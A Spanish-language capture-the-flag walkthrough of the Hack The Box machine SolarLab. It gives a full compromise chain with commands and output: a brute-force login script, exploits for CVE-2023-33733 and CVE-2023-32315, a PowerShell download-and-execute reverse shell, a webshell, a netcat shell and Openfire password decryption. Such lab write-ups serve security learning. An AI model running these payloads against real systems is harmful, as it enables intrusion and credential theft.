Table of Contents
Enumeration
TCP Scan
Primero descubrimos que puertos por TCP están abiertos utilizando rustscan
1➜ scan rustscan -a 10.129.231.39 --ulimit 5000 -g
210.129.231.39 -> [80,135,139,445,6791,7680]
Y ahora hacemos un escaneo mas exhaustivo sobre estos puertos con nmap
1➜ scan nmap -p80,135,139,445,6791,7680 -sCV 10.129.231.39 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-27 14:28 CEST
3Nmap scan report for 10.129.231.39
4Host is up (0.036s latency).
5
6PORT STATE SERVICE VERSION
780/tcp open http nginx 1.24.0
8|_http-title: Did not follow redirect to http://solarlab.htb/
9|_http-server-header: nginx/1.24.0
10135/tcp open msrpc Microsoft Windows RPC
11139/tcp open netbios-ssn Microsoft Windows netbios-ssn
12445/tcp open microsoft-ds?
136791/tcp open http nginx 1.24.0
14|_http-server-header: nginx/1.24.0
15|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
167680/tcp open pando-pub?
17Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
18
19Host script results:
20| smb2-time:
21| date: 2024-07-27T12:29:44
22|_ start_date: N/A
23|_clock-skew: 14s
24| smb2-security-mode:
25| 3:1:1:
26|_ Message signing enabled but not required
27
28Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
29Nmap done: 1 IP address (1 host up) scanned in 83.61 seconds
De estos escaneos sabemos sabemos dos cosas. Que quizás se estén compartiendo recursos compartidos mediante SMB que sean críticos ya sea utilizando una null session o con credenciales.
Y sabemos que por los redireccionamientos, se está aplicando virtual hosting y descubrimos dos subdominios
- solarlab.htb
- report.solarlab.htb
Vamos a añadir estos subdominios al /etc/hosts
1➜ content echo "10.129.231.39 report.solarlab.htb solarlab.htb" | sudo tee -a /etc/hosts
210.129.231.39 report.solarlab.htb solarlab.htb
Enumerando el SMB, podemos hacer uso de una null session y con smbmap
detectamos que tenemos acceso de lectura a un recurso compartido a nivel de red llamado Documents
1content smbmap -H solarlab.htb -u null
2[+] IP: 10.129.231.39:445 Name: solarlab.htb Status: Authenticated
3 Disk Permissions Comment
4 ---- ----------- -------
5 ADMIN$ NO ACCESS Remote Admin
6 C$ NO ACCESS Default share
7 Documents READ ONLY
8 IPC$ READ ONLY Remote IPC
En el documento old_leave_request_form.docx
, viendo los metadatos, podemos ver un nombre de usuario: Jackie y Alison Melville
En el documento Training-Request-Form.docx
detectamos otros nombres de usuario: Gayle.Rennie y FRYATT, Susanne
En el documento Travel-Request-Sample.docx
detectamos otros nombres de usuario:
Paul Squillace y Katy Brown
En el documento details-file.xlsx
encontramos varios usuarios y contraseñas
Con esto nos podemos montar un diccionario de usuario y contraseñas fácilmente.
Ganando acceso al ReportHub
Ahora que tenemos varios usuarios y contraseñas podemos probar a iniciar sesión en este panel.
El problema es que no está el protocolo de Kerberos habilitado (por ejemplo) para poder comprobar que usuarios existen a nivel de sistema y poder sacar conclusiones mas fácilmente.
Después de probar los usuarios, los usuarios AlexanderK
y ClaudiaS
producen errores distintos, por lo cual esta es una forma de enumerar usuarios.
He hecho un pequeño script para hacer un ataque por diccionario probando todos los usuarios y contraseñas obtenidos y también haciendo algunas combinaciones
1#!/usr/bin/python3
2import requests
3from pwn import *
4LOGIN_ENDPOINT="http://report.solarlab.htb:6791/login"
5USERFILE="/home/kali/Desktop/solarlab/content/users.txt"
6PASSFILE="/home/kali/Desktop/solarlab/content/passwords.txt"
7
8
9def brute():
10 log.progress('Bruteforcing ', LOGIN_ENDPOINT)
11 s = requests.Session()
12 s.get(LOGIN_ENDPOINT)
13 p = log.progress('Bruteforcing...')
14 p.status('Trying:')
15 for user in open(USERFILE, 'r'):
16 for pwd in open(PASSFILE, 'r'):
17 p.status("Trying {0}:{1}".format(user.strip(), pwd.strip()))
18 data = {'username': user.strip(), 'password': pwd.strip()}
19 headers = {'Content-Type': 'application/x-www-form-urlencoded'}
20 r = s.post(LOGIN_ENDPOINT, data = data, headers = headers)
21 if r.headers.get('Content-Length') != '2144' and r.headers.get('Content-Length') != '2133':
22 log.success("Got a hit! " + user.strip() + ":" + pwd.strip())
23
24if __name__ == "__main__":
25 brute()
Y conseguimos unas credenciales válidas!
1➜ content python3 brute.py
2[▖] Bruteforcing : http://report.solarlab.htb:6791/login
3[d] Bruteforcing...: Trying Katy.Brown:dadsfawe9dafkn
4[+] Got a hit! BlakeB:ThisCanB3typedeasily1@
Foothold
Antes de explorar el sitio web, me interesa saber si este sitio es un CMS reconocido y tiene vulnerabilidades encontradas.
Y parece que tiene un RCE asociado. CVE-2023-33733
Parece que se acontece una inyección de comandos a la hora de añadir un párrafo en cualquier funcionalidad
Voy a intentar mandándome un ping
1➜ CVE-2023-33733-Exploit-PoC git:(main) python3 exp.py --host 'report.solarlab.htb' --port 6791 --username 'BlakeB' --password 'ThisCanB3typedeasily1@' --cmd 'ping 10.10.14.71'
2[*] Logging in to http://report.solarlab.htb:6791/login
3Retreived session cookie: session=.eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.ZqU7AA.XHsnPDC8phcG6BMnDvLQbf2lGYM; HttpOnly; Path=/
4[*] Extracting session token...
5[*] Token extracted: .eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.ZqU7AA.XHsnPDC8phcG6BMnDvLQbf2lGYM
6[*] Building Exploit...
7[*] Exploit built
8[*] Preparing request
9[*] Sending request to http://report.solarlab.htb:6791/leaveRequest
10[*] Sending a reverse shell should cause request to hang
11[*] Request sent
12[*] Probable success. Status Code 500
1➜ ~ sudo tcpdump -i tun0 icmp
2[sudo] password for kali:
3tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
4listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
520:22:41.575007 IP report.solarlab.htb > 10.10.14.71: ICMP echo request, id 1, seq 1, length 40
620:22:41.575163 IP 10.10.14.71 > report.solarlab.htb: ICMP echo reply, id 1, seq 1, length 40
720:22:42.579868 IP report.solarlab.htb > 10.10.14.71: ICMP echo request, id 1, seq 2, length 40
820:22:42.579885 IP 10.10.14.71 > report.solarlab.htb: ICMP echo reply, id 1, seq 2, length 40
920:22:43.586730 IP report.solarlab.htb > 10.10.14.71: ICMP echo request, id 1, seq 3, length 40
1020:22:43.586749 IP 10.10.14.71 > report.solarlab.htb: ICMP echo reply, id 1, seq 3, length 40
1120:22:44.593617 IP report.solarlab.htb > 10.10.14.71: ICMP echo request, id 1, seq 4, length 40
1220:22:44.593634 IP 10.10.14.71 > report.solarlab.htb: ICMP echo reply, id 1, seq 4, length 40
Perfecto, ahora con nishang
voy a mandarme una RevShell
Nos montamos un servidor web con python y compartimos la típica Reverse Shell de nishang, Invoke-PowerShellTcp.ps1
Y con powershell.exe -c iex (iwr http://10.10.14.71/Invoke-PowerShellTcp.ps1)
nos mandamos la revshell.
1PS C:\Users\blake\Documents\app>whoami
2solarlab\blake
Consiguiendo mas credenciales
En la ruta C:\Users\blake\Documents\app\instance
encontramos un archivo users.db
que contiene credenciales para otros usuarios
1PS C:\Users\blake\DOcuments\app\instance> type users.db
2SQLite format 3@ .j?
3?!!??+?9tableuseruserCREATE TABLE user (
4 id INTEGER NOT NULL,
5 username VARCHAR(50) NOT NULL,
6 password VARCHAR(100) NOT NULL,
7 PRIMARY KEY (id),
8 UNIQUE (username)
9)';indexsqlite_autoindex_user_1user
10????!)alexanderkHotP!fireguard'claudias007poiuytrewq 9blakebThisCanB3typedeasily1@
11????!alexanderk
12 claudias blakeb
Sin embargo, no vemos que existan estos usuarios a nivel de sistema.
1PS C:\Users> dir
2
3
4 Directory: C:\Users
5
6
7Mode LastWriteTime Length Name
8---- ------------- ------ ----
9d----- 11/17/2023 10:03 AM Administrator
10d----- 11/16/2023 9:43 PM blake
11d----- 11/17/2023 2:13 PM openfire
12d-r--- 11/17/2023 12:54 PM Public
Pero las contraseñas nos podrían servir mas adelante.
También me llama un poco la atención ese directorio personal de trabajo openfire
, ya que es un servicio común que quizás nos pueda servir ara escalar privilegios.
De hecho, encontramos vulnerabilidades asociadas a este servicio. Encontramos un Authentication Bypass y un RCE. CVE-2023-32315
Pivoting a openfire
Este servicio utiliza por defecto el puerto 9090.
En la máquina víctima podemos ver que está abierto
Ahora con chisel hacemos un reverse port forwarding.
1➜ ~ /usr/share/chisel server --reverse -p 1234
1PS C:\Windows\Temp\work> .\chisel client 10.10.14.71:1234 R:9090:127.0.0.1:9090
Al final utilicé este RCE Primero creamos el usuario.
1➜ CVE-2023-32315 git:(main) python3 CVE-2023-32315.py -t http://127.0.0.1:9090
2....
3User added successfully: url: http://127.0.0.1:9090 username: l7be2x password: 3puzku
Ya hemos ganado acceso al panel, ahora en principio, se debe de acontecer una vulnerabilidad de tipo RCE para poder ganar acceso al sistema como el usuario openfire
Aquí podemos inyectar un archivo .jar
malicioso y conseguir ejecución de comandos.
Voy a subir el .jar
que viene en el PoC
Y ahora en esta ruta
http://127.0.0.1:9090/plugins/openfire-management-tool-plugin/cmd.jsp
Tenemos una webshell.
Ahora primero nos descargamos nc desde la webshell.
powershell.exe "iwr http://10.10.14.71/nc.exe -o nc.exe"
Y ahora nos mandamos una cmd nc.exe 10.10.14.71 443 -e cmd.exe
1C:\Program Files\Openfire\bin>whoami
2whoami
3solarlab\openfire
4
5C:\Program Files\Openfire\bin>
Enumerando un poco los archivos de openfire, nos damos cuenta de un directorio un tanto peculiar.
07/27/2024 08:29 PM <DIR> embedded-db
1C:\Program Files\Openfire\embedded-db>dir
2dir
3 Volume in drive C has no label.
4 Volume Serial Number is 385E-AC57
5
6 Directory of C:\Program Files\Openfire\embedded-db
7
807/27/2024 08:29 PM <DIR> .
907/27/2024 08:29 PM <DIR> ..
1007/27/2024 08:29 PM 0 openfire.lck
1107/27/2024 09:40 PM 1,188 openfire.log
1207/27/2024 08:29 PM 106 openfire.properties
1305/07/2024 09:53 PM 16,161 openfire.script
1407/27/2024 08:29 PM <DIR> openfire.tmp
15 4 File(s) 17,455 bytes
16 3 Dir(s) 7,777,484,800 bytes free
En el fichero openfire.script
encontramos esta linea.
1INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
Así que tenemos una pwd encriptada.
becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442
Haciendo una búsqueda rápida en Google, podemos encontrar este repositorio que nos indica como podemos desencriptar esta credencial. openfire_decrypt
Crackeando la contraseña del usuario administrador
Analizando el código del script adjuntado, vemos que se utiliza una clave secreta para encriptar las pwd, por lo cual, también debe rondar por la base de datos.
SecretKeySpec key = new SecretKeySpec (keyParam, "Blowfish")
1import javax.crypto.Cipher;
2import java.security.MessageDigest;
3import javax.crypto.spec.SecretKeySpec;
4import javax.crypto.spec.IvParameterSpec;
5
6public class OpenFireDecryptPass
7{
8 public static void main(String[] argv) throws Exception
9 {
10 if (argv.length < 2)
11 {
12 System.out.println("[-] Please specify the encypted password and the \"passwordKey\"");
13 return;
14 }
15
16 MessageDigest md = MessageDigest.getInstance ("SHA-1");
17
18 byte[] keyParam = md.digest (argv[1].getBytes ("utf8"));
19 byte[] ivBytes = hex2bytes (argv[0].substring (0, 16));
20 byte[] encryptedString = hex2bytes (argv[0].substring (16)); // 8 * 2 (since hex)
21
22 IvParameterSpec iv = new IvParameterSpec (ivBytes);
23 SecretKeySpec key = new SecretKeySpec (keyParam, "Blowfish");
24
25 Cipher cipher = Cipher.getInstance ("Blowfish/CBC/PKCS5Padding");
26 cipher.init (Cipher.DECRYPT_MODE, key, iv);
27 byte[] decrypted = cipher.doFinal (encryptedString);
28
29 String decryptedString = bytes2hex (decrypted);
30
31 System.out.println (new String(decrypted) + " (hex: " + decryptedString + ")");
32 }
33
34 public static byte[] hex2bytes(String str)
35 {
36 if (str == null || str.length() < 2) return null;
37 else
38 {
39 int len = str.length() / 2;
40 byte[] buffer = new byte[len];
41
42 for (int i = 0; i < len; i++) buffer[i] = (byte) Integer.parseInt(str.substring(i * 2, i * 2 + 2), 16);
43
44 return buffer;
45 }
46
47 }
48
49 public static String bytes2hex(byte[] data)
50 {
51 if (data == null) return null;
52 else
53 {
54 int len = data.length;
55
56 String str = "";
57
58 for (int i = 0; i < len; i++)
59 {
60 if ((data[i] & 0xFF) < 16) str = str + "0" + java.lang.Integer.toHexString(data[i] & 0xFF);
61 else str = str + java.lang.Integer.toHexString(data[i] & 0xFF);
62 }
63 return str.toUpperCase();
64 }
65 }
66}
Revisando otra vez el openfire.script
encontramos lo que buscabamos.
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
Ahora, primero compilamos el script y luego le pasamos como argumentos posicionales el hash encontrado y acto seguido la clave secreta.
1➜ content javac OpenFireDecryptPass.java
2Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
3➜ content java OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
4Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
5ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)
Consiguiendo una shell como Administrator
Entonces, ahora podemos probar estas credenciales para el usuario Administrator
a ver si se reutilizan las credenciales..
Y con NetExec
podemos comprobar que son válidas, así que ahora con impacket-psexec
podemos conseguir una consola como nt\authority system
1➜ content nxc smb 10.129.231.39 -u 'Administrator' -p 'ThisPasswordShouldDo!@'
2SMB 10.129.231.39 445 SOLARLAB [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
3SMB 10.129.231.39 445 SOLARLAB [+] solarlab\Administrator:ThisPasswordShouldDo!@ (Pwn3d!)
1➜ content impacket-psexec solarlab.htb/Administrator:'ThisPasswordShouldDo!@'@10.129.231.39
2Impacket v0.12.0.dev1+20240711.104209.512a1db5 - Copyright 2023 Fortra
3
4[*] Requesting shares on 10.129.231.39.....
5[*] Found writable share ADMIN$
6[*] Uploading file uLpOgqoX.exe
7[*] Opening SVCManager on 10.129.231.39.....
8[*] Creating service olGN on 10.129.231.39.....
9[*] Starting service olGN.....
10[!] Press help for extra shell commands
11Microsoft Windows [Version 10.0.19045.4355]
12(c) Microsoft Corporation. All rights reserved.
13
14C:\Windows\system32> whoami
15nt authority\system
Feliz Hacking! 🚀
#HackTheBox #SolarLab #Writeup #Cybersecurity #Penetration Testing #CTF #Network Security #SMB #Reverse Shell #Privilege Escalation #RCE #Openfire #Exploit #Windows #Python #Scripting #Credentials Reuse #Port Forwarding #Decrypting Password